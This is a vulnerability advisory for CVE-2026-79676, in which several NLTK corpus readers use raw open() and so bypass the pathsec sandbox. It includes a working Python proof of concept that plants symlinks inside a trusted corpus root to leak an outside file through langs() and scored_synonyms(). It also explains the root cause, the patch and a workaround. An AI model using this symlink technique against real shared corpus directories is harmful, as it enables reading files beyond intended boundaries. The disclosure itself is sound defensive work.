highCVE-2026-79676Sep 8, 2026

CVE-2026-79676: NLTK Corpus Readers Symlink Path Traversal (pathsec Bypass)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Several NLTK corpus readers open files with Python's built-in open() instead of the security-aware nltk.pathsec.open(), so a symlink planted inside a trusted corpus root can silently pull in content…

Packagenltk
Ecosystempip
Affected<= 3.10.2
Fixed in3.10.3
CVE-2026-79676: NLTK Corpus Readers Symlink Path Traversal (pathsec Bypass)

The problem

NLTK 3.10.2 and earlier ship a path-security module (pathsec) that is supposed to prevent file reads outside allowlisted roots. Three corpus readers, CrubadanCorpusReader, LinThesaurusCorpusReader, and IPIPANCorpusReader, bypass it entirely by calling Python's raw open() after deriving a file path from trusted corpus state.

With pathsec.ENFORCE=True, a symlink placed inside the trusted root and pointing to an outside file is happily followed. Content from outside the boundary is then returned through normal public methods such as channels(), domains(), categories(), langs(), crubadan_to_iso(), synonyms(), and scored_synonyms().

The attacker needs only write access to the corpus directory, which is a realistic condition in shared or pipeline environments that process third-party corpora.

Proof of concept

A working proof-of-concept for CVE-2026-79676 in nltk, with the exact payload below.

python
import os, tempfile, pathlib
import nltk.pathsec as ps
from nltk.corpus.reader.crubadan import CrubadanCorpusReader
from nltk.corpus.reader.lin import LinThesaurusCorpusReader

# --- setup ---
roots = tempfile.mkdtemp(prefix="trusted_root_")
secret = tempfile.mktemp(prefix="outside_secret_")
with open(secret, "w") as f:
    f.write("TOPSECRET_OUTSIDE_ROOT")

ps.ENFORCE = True
ps.ALLOWED_ROOTS.add(roots)  # only 'roots' is trusted

# --- crubadan bypass ---
cru_dir = os.path.join(roots, "eng")
os.makedirs(cru_dir, exist_ok=True)
# symlink table.txt -> outside secret
os.symlink(secret, os.path.join(cru_dir, "table.txt"))
# create a stub 3gram file so the reader initialises
with open(os.path.join(cru_dir, "eng-3grams.txt"), "w") as f:
    f.write("LEAK\t1\n")
reader = CrubadanCorpusReader(roots, r".*\.txt")
# table.txt is opened with raw open() -- symlink followed without pathsec check
print("crubadan langs():", reader.langs())  # prints outside-root content

# --- lin bypass ---
lin_dir = os.path.join(roots, "lin")
os.makedirs(lin_dir, exist_ok=True)
# simN.lsp symlinked outside
os.symlink(secret, os.path.join(lin_dir, "simN.lsp"))
lin_reader = LinThesaurusCorpusReader(lin_dir, ["simN.lsp"])
print("lin scored_synonyms():", lin_reader.scored_synonyms("any"))  # leaks outside content

# Confirmed output (from advisory PoC):
# {'crubadan': ['LEAK'], 'lin': [('LEAK', 9.5)]}

The root cause (CWE-22, CWE-59) is that each affected reader derives a file path from a trusted PathPointer or corpus root, converts it to a plain string, then calls Python's built-in open() directly. That call never passes through nltk.pathsec.open() or validate_path(), so the pathsec sandbox is never consulted and symlink resolution happens at the OS level with no boundary check.

The patch (commit 10d34b3f) adds nltk.pathsec.validate_path(path, required_root=self.root) immediately before every raw open() in the affected readers. Because validate_path() resolves symlinks via os.path.realpath() before comparing against the trusted root, a symlink target that lands outside the root raises ValueError and the read is blocked.

Readers that own a concrete corpus root use a scoped required_root= argument; readers without a root fall back to the global sandbox via getattr(self, '_root', None).

The fix

Upgrade to nltk >= 3.10.3 (commit 10d34b3f4fe3fec74b76527a409eb0acbac2e8ab). The patch adds nltk.pathsec.validate_path(path, required_root=self.root) before every bare open() in the affected corpus readers, ensuring symlink targets are resolved and checked against the trusted root before any file descriptor is opened.

As a short-term workaround, do not allow untrusted parties to write into NLTK corpus directories, and keep pathsec.ENFORCE=True in any shared or production environment.

Reported by LinZiyuu.

References: [1][2][3][4][5][6]

Related research